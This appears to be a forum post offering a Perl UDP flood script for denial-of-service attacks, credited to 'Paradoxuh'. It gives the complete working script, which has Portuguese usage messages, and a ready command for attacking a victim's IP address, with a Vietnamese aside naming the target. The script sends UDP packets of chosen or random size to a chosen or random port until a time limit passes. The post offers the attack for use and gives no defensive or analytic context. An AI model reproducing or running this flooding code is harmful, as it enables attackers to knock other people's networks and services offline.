[DDOS] UDP Flood by Paradoxuh

Here is the perl code, use the UDP mechanism to ddos, save the file name as flood2.pl

Can be used on windows or Koding, use the following command to attack:

perl flood2.pl 127.0.0.1 80 65500 800 (trong đó 127.0.0.1) là ip của victim

#!/usr/bin/perl

##########################
# udp flood by paradoxuh #
##########################
 
use Socket;
use strict;
 
if ($#ARGV != 3) {
  print "flood.pl <IP> <Porta> <Pacotes> <Tempo>\n\n";
  print " Porta = 0: Usar Portas aleatorias\n";
  print " Pacotes = 0: Usar entre 64 e 1024 Pacotes aleatorios\n";
  print " Tempo = 0: Ataque continuo\n";
  exit(1);
}
 
my ($ip,$port,$size,$time) = @ARGV;
 
my ($iaddr,$endtime,$psize,$pport);
 
$iaddr = inet_aton("$ip") or die "IP inválido: $ip\n";
$endtime = time() + ($time ? $time : 1000000);
 
socket(flood, PF_INET, SOCK_DGRAM, 17);

 
print "Atacando o IP e Porta $ip " . ($port ? $port : "random") . " com " . 
  ($size ? "$size-bytes" : "random size") . " de pacotes" . 
  ($time ? " por $time segundos" : "") . "\n";
print "Pare o ataque pressionando Ctrl + C\n" unless $time;
 
for (;time() <= $endtime;) {
  $psize = $size ? $size : int(rand(1024-64)+64) ;
  $pport = $port ? $port : int(rand(65500))+1;
 
  send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}